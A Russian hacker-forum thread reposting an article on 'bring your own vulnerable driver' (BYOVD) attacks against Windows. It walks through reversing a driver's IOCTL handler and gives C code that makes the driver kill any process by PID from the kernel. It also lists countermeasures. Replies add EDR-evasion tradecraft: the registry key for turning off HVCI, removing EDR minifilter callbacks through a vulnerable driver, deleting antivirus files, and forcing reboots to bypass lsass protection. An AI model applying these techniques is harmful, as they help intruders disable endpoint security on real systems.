• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разбираем BYOVD — одну из опаснейших атак на Windows за последние годы

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Автор Nik Zerof
Источник xakep.ru

Многие именитые хакерские группировки, например северокорейская Lazarus, используют доступ к пространству ядра через атаку BYOVD при выполнении сложных APT-нападений. Тот же метод используют авторы инструмента Terminator, а также операторы различных шифровальщиков. В этой статье мы подробно разберем, как работает BYOVD и почему эта атака стала популярной.

На самом деле в узких кругах давно было известно о возможности использовать чужой драйвер в своих целях, но до какого‑то момента она не была столь важной. Можно было открыть любой хакерский форум и найти пучок других способов обойти проверку целостности ядра Windows и надурить механизм KPP (Kernel Patch Protection).

Но в Microsoft тоже об этом догадывались и в итоге довели контроль целостности ядра до достаточно высокого уровня, обломав всю малину любителям нестандартного программирования. Вот тогда все вспомнили про BYOVD, потому что реализовать эту атаку значительно проще, чем искать зиродеи в механизме контроля целостности ядра.

BYOVD дает хорошие возможности: позволяет отключать антивирусы, поднимать привилегии (LPE) и делать другие интересные фокусы, в зависимости от того, какой драйвер атакован.

В конце концов, ядро всегда было лакомым кусочком для хакеров всех мастей. Давай разберемся, как работает эта атака.

КАК УСТРОЕН ДРАЙВЕР​

Для начала нам нужно понимать, что такое драйвер в Windows и как он устроен. Очевидно, что, как и у любого другого приложения, у драйвера есть точка входа, которая называется DriverEntry и имеет следующий прототип:
Код:
NTSTATUS DriverEntry (
  _In_ PDRIVER_OBJECT DriverObject,
  _In_ PUNICODE_STRING RegistryPath
);
Видим, что в основную функцию драйвера передаются два аргумента: DriverObject, представляющий собой указатель на структуру DRIVER_OBJECT, которая содержит информацию о драйвере, и указатель на строку RegistryPath с путем к файлу драйвера. Сама структура DRIVER_OBJECT выглядит так:
Код:
typedef struct _DRIVER_OBJECT {
  CSHORT             Type;
  CSHORT             Size;
  PDEVICE_OBJECT     DeviceObject;
  ULONG              Flags;
  PVOID              DriverStart;
  ULONG              DriverSize;
  PVOID              DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING     DriverName;
  PUNICODE_STRING    HardwareDatabase;
  PFAST_IO_DISPATCH  FastIoDispatch;
  PDRIVER_INITIALIZE DriverInit;
  PDRIVER_STARTIO    DriverStartIo;
  PDRIVER_UNLOAD     DriverUnload;
  PDRIVER_DISPATCH   MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
Чтобы приложение из пользовательского режима могло взаимодействовать с драйвером, работающим в режиме ядра, создается устройство драйвера при помощи функции IoCreateDevice или WdmlibIoCreateDeviceSecure и символическая ссылка на него при помощи IoCreateSymbolicLink.

Вот фрагмент кода в реальном драйвере, где происходит создание символической ссылки на него.

1720166764080.png

Теперь разберемся с тем, как приложение пользовательского режима заставляет драйвер выполнить какое‑либо действие.

Обрати внимание на поле PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] в структуре DRIVER_OBJECT. Это поле — массив указателей на функции, которые будет выполнять драйвер в определенных условиях (то есть, по сути, список выполняемых драйвером действий).

Прежде всего нас интересует IRP_MJ_DEVICE_CONTROL — это один из кодов функций IRP (I/O Request Packet) в массиве MajorFunction. Он используется для обработки запросов на управление устройством драйвера, таких как чтение и запись данных. Чтобы было нагляднее, пример кода драйвера, отвечающий за инициализацию разных функций IRP:
Код:
NTSTATUS DispatchRead(
    _In_ PDEVICE_OBJECT DeviceObject,
    _Inout_ PIRP Irp
)
{
    UNREFERENCED_PARAMETER(DeviceObject);
    // Обработка операции чтения файла
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}
...
NTSTATUS DriverEntry:
    // Заполнение массива MajorFunction
    DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
    // Код, выполняющийся при событии IRP_MJ_READ
    DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
Input/Output Control, или IOCTL, — это механизм взаимодействия между пользовательским приложением и драйвером устройства в Windows. IOCTL позволяет приложению отправлять управляющие команды и запросы к драйверам устройств для выполнения различных операций, таких как чтение или запись данных, установка параметров устройства, получение информации о состоянии устройства и многое другое. Когда приложение отправляет IOCTL, операционная система передает запрос соответствующему драйверу устройства, который затем выполняет нужное действие и возвращает результат операции.

IOCTL-запросы обрабатываются в специальной функции DriverDispatch, вот ее прототип (запомни его, он нам понадобится, чтобы найти эту функцию в дизассемблере):
Код:
NTSTATUS DriverDispatch(
  [in, out] _DEVICE_OBJECT *DeviceObject,
  [in, out] _IRP *Irp
)
Код обработки IOCTL-запросов к драйверу, реализованной в функции DriverDispatch, может выглядеть примерно так:
Код:
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    NTSTATUS status = STATUS_SUCCESS;
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    switch(controlCode)
    {
        case IOCTL_CUSTOM_COMMAND:
            // Обработка пользовательской команды
            status = ProcessCustomCommand(DeviceObject, Irp);
            break;
        case IOCTL_ANOTHER_COMMAND:
            // Обработка другой пользовательской команды
            status = ProcessAnotherCommand(DeviceObject, Irp);
            break;
        default:
            // Неизвестная команда, возвращаем ошибку
            status = STATUS_INVALID_DEVICE_REQUEST;
            break;
    }
    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}
В этой функции IOCTL_CUSTOM_COMMAND и IOCTL_ANOTHER_COMMAND — это просто дефайны, содержащие номера IOCTL. Их будет отправлять пользовательское приложение в драйвер. По запросу приложений функции будут выполняться уже в драйвере и с приоритетом ring 0. Часть switch-case в функции DispatchDeviceControl — одна из самых интересных для нас, потому что как раз содержит номера управляющих IOCTL-запросов.

ИССЛЕДУЕМ ДРАЙВЕР​

После того как мы ознакомились с базовой структурой драйвера, поняли, как драйвер взаимодействует с юзермодом, настало время реверса! Загружаем подопытный драйвер в IDA Pro и видим точку входа драйвера.

Так как это реальный драйвер, уязвимый для BYOVD, его начальный код может несколько отличаться от простейшего макета драйвера. Чтобы попасть в области кода, содержащие создание устройства, символической ссылки и начало инициализации массива MajorFunction, проследим, куда ведет аргумент DriverObject, ведь он обязателен для действий инициализации. В итоге находим это место, оно рядом с кодом создания символической ссылки. Но так бывает не всегда.

1720166788914.png


Строчка с memset инициализирует массив MajorFunction. Идем в функцию sub_140014890, указанную в аргументе, видим много кода.

1720166811298.png


Отыскиваем функцию диспетчеризации по ее прототипу (помнишь, я говорил, что его надо запомнить?) — просто прослеживаем, куда идет аргумент, содержащий IRP. А уже внутри функции видим код инициализации разных элементов MajorFunction.

1720166836382.png


Нам интересен именно IRP_MJ_DEVICE_CONTROL, поэтому смотрим в функцию sub_140018ff8 и находим в ней различные case, которые и реализуют управляющие коды IOCTL.
1720166872316.png

Теперь дело техники: нужно посмотреть, что делает каждый case, чтобы найти что‑то интересное и полезное для нас. Немножко осмотревшись в коде, находим функцию, которая умеет завершать процессы по переданному PID.

1720166886616.png

Как видно из кода, функция завершает процесс, используя обращение к ZwTerminateProcess. То, что нужно! Запоминаем номер IOCTL-запроса, который вызывает эту функцию.

ПИШЕМ КОД​

Итак, реверс драйвера принес свои плоды, теперь нам нужно написать инструмент, который поможет проэксплуатировать драйвер и заставить его завершить любой процесс по нашей команде. Но сначала нам нужно обратиться к драйверу. Из юзермода это можно сделать при помощи функции DeviceIoControl, вот ее прототип:
Код:
BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
Обрати внимание на параметр hDevice — его мы извлекаем из нашего дизасма, в момент, когда формируется символическая ссылка. А параметр dwIoControlCode — это номер ветки case, которая содержит вызов ZwTerminateProcess.
Код:
int main() {
    int status = 0, proc_id = 0;
    DWORD retBytes = 0;
    scanf("%u", &proc_id);
    HANDLE hDevice = CreateFileA(
        "\\\\.\\my_driver",
        GENERIC_WRITE|GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
        );
    status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL);
        CloseHandle(hDevice);
    return 0;
}
Код предельно прост: при помощи CreateFileA мы получаем дескриптор устройства драйвера по его ссылке, которую мы обнаружили в процессе реверса, а вызов функции DeviceIoControl дает прямое указание драйверу выполнить то действие, которое указывается IOCTL-кодом (аргумент dwIoControlCode). В нашем случае это завершение процесса по его ID. После выполнения этого кода драйвер при помощи вызова функции ZwTerminateProcess завершит процесс прямо из ядра!

МОЖНО ЛИ ЗАЩИТИТЬСЯ?​

Разумеется, эта техника — не «серебряная пуля», потому что были разработаны контрмеры, которые помогают минимизировать риски, связанные с BYOVD:
  • отзыв сертификата подписи драйвера;
  • черный список драйверов;
  • Virtualization-based Security (VBS) и Hypervisor-Protected Code Integrity (HVCI).
Давай пройдемся по каждому. Черный список собирает контрольные суммы и отпечатки драйверов, которые были замечены в атаках. Отзыв сертификата обнуляет действие сертификата подписи, и драйвер становится как будто неподписанным. А изоляция ядра на основе виртуализации (VBS и ее компонент HVCI) препятствует вредоносным действиям еще неизвестных, но использующихся для атак драйверов. Система виртуализации выступает корнем доверия и предполагает, что ядро может быть в любой момент скомпрометировано.
Все эти меры работают вместе и стали эффективными средствами для предотвращения атак BYOVD. Но сработают они, только если пользователь их не отключил специально, например для улучшения производительности.

ВЫВОДЫ​

Надеюсь, мне удалось немного рассказать о тех методах и средствах, которыми пользуются одни из самых крутых хакерских группировок, а кто предупрежден, тот, как известно, вооружен. Как минимум ты уже знаешь, почему не стоит выключать защиту ядра Windows ради лишних 10% скорости!
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Классика. Только из этого псевдокода нихрена не будет понятно другим, потому что IDA правильные union'ы из коробки проставлять не умеет, отсюда аргументы MasterIpr, LowPart, Options, Length семантически неверны. Нужно руками править или плагины использовать.
 
1. Реверс драйверов под уязвимости давно автоматизирован. Можно самому простенький сканер таблицы импорта драйверов написать.
2. Кроме перечисленных типов защиты от уязвимых драйверов, существуют и встроенные самозащиты в самих драйверах от их использования сторонним ПО, что добавляет существенный геморрой при их использовании, типа AsIo2 и т.д.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Реверс драйверов под уязвимости давно автоматизирован.
Это не значит, что будет покрыто всё.
Пример:

Можно самому простенький сканер таблицы импорта драйверов написать.
Для чего?
 
Последнее редактирование:
Для чего?
Для первой стадии - поиска интересных функций в драйверах, типа работы с памятью, мапами памяти, процессами и т.д. в импорте дров, сложенных в какой либо папке в кучу. Как правило наличие таких функций уже говорит о том что как то драйвер их использует. Кстати для ТС - драйвер не обязательно использует IOCTL и создает девайс - линки. Может, к примеру управляться через именованый канал и другими типами RPC.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Для первой стадии - поиска интересных функций в драйверах, типа работы с памятью, мапами памяти, процессами и т.д. в импорте дров, сложенных в какой либо папке в кучу. Как правило наличие таких функций уже говорит о том что как то драйвер их использует.
Тут согласен. Была статья https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html, но используемый метод как по мне сильно ограничен и основан на хайповых багах, можно увеличить выборку.

А изоляция ядра на основе виртуализации (VBS и ее компонент HVCI) препятствует вредоносным действиям еще неизвестных, но использующихся для атак драйверов. Система виртуализации выступает корнем доверия и предполагает, что ядро может быть в любой момент скомпрометировано.
Все эти меры работают вместе и стали эффективными средствами для предотвращения атак BYOVD. Но сработают они, только если пользователь их не отключил специально, например для улучшения производительности.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity
Вырубается от админа, но нужно пережить ребут.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это у себя в лабе, на вм, бро. в жизни EDR как минимум ебанет по рукам как только бинарничек сунет свои свеже-скомпиленые ручки к подобным реестра ключам. писать в реестр на живом пациенте не тривиальная задача. было бы так изи - то прописались бы в тест мод - далее го в ребут и нагрузили бы самописных дровишек - а там уже их и сам бог не спасет)). In God they trust

Для чего?
Для первой стадии
как вариант первой стадии, пошукать в памяти на таргете. потому как эту длл-ку (для тех кто не в теме driver.sys - это почти DLL) ой как не просто грузануть в память бывает. если вы в приличном месте то про sc create не х#й и думать. за такое сразу хэдшот и вон из проффесии.
ps - пользуюсь случаем и выражаю респект varwar-у за статью о драйверах( /threads/93316/ ), рекомендую каждому.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
если вы в приличном месте то про sc create не х#й и думать. за такое сразу хэдшот и вон из проффесии.
Вероятно поэтому лазарус стали использовать нули в стандартных виндовых драйверах, даже с SID, требующих админа. Все же это менее палевно, чем грузиться.
пользуюсь случаем и выражаю респект varwar-у за статью о драйверах( /threads/93316/ ), рекомендую каждому.
Спасибо, что напомнил. Нужно дополнить по WDF, хотя там не сложно разобраться со знанием WDM, но все-таки есть интересные нюансы.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нужно дополнить по WDF
да-да, практикующие должны были заметить, также, что зачастую, именно фильтра ( mini-filter driver) и трут "мимик" в моменте, когда юзермодных процессов EDR уже нету на хосте. подсистема фильтров дает приятные возможности обоссать EDR, правда гада патчат оперативно, ну тем интереснее.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
pwncat89 я имел в виду "Windows Driver Framework".

практикующие должны были заметить, также, что зачастую, именно фильтра ( mini-filter driver) и трут "мимик" в моменте, когда юзермодных процессов EDR уже нету на хосте.
что в таких случаях делают, если не секрет?

Скрытый контент для пользователей: .
 
Пожалуйста, обратите внимание, что пользователь заблокирован
что в таких случаях делают, если не секрет?
как правило: через драйвер мутят arbitrary read\write и "освобождают хэндл" и трут любой файл имеющий к агенту ав\edr отношение, дрова в перую очередь. далее в ребут и начинаем веселиться.
минусы: ебический алерт SEIM нынче при таких кейсах -> мол "Палундра! Десант высадился и уже ебут!" (букавльно вся панель SIEM загориться что та ёлочка в ДК)
как надо: ослепить не стирая

я имел в виду "Windows Driver Framework".
спросоня видно углядел WFP
Скрытый контент для пользователей: .
 
Последнее редактирование:
как правило: через драйвер мутят arbitrary read\write и "освобождают хэндл" и трут любой файл имеющий к агенту ав\edr отношение, дрова в перую очередь. далее в ребут и начинаем веселиться.
Обычно через лол-драйвер снимают хуки (ядерные нотификаторы\колбэки) драйвер - минифильтров EDR, ничего не трут и не ребутят, даже процессы не обязательно гасить, акститесь... :) И ни кто никого не ебет и не светится никто при этом.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Ребут таргета - это вообще жесть немыслимая.
Я слышал, что таргет могут уронить и в определенных случаях после ребута забрать сгенерированный дамп. Например, уязвимость дерьмовая и из нее ничего не выжать, кроме BSOD.
Помогало обходить защиту lsass.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну хз... ребут в контексте сервера серьезно, а ребут в контексте обычного пк вполне нормально, возможно какая-то критическая обнова прилетела и юзер не поймет. Либо откладывал обнову из-за большого аптайма. Понятное дело, что, чем меньше шумихи, тем лучше, однако тот же uefi имплантант требует ребута. Так что двоякая сутуация. С другой стороны резкий ребут, как то может привлечь внимание. При таком случае наверно надо как то смотреть аптайм и сколько времени юзер бездействует за пк.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх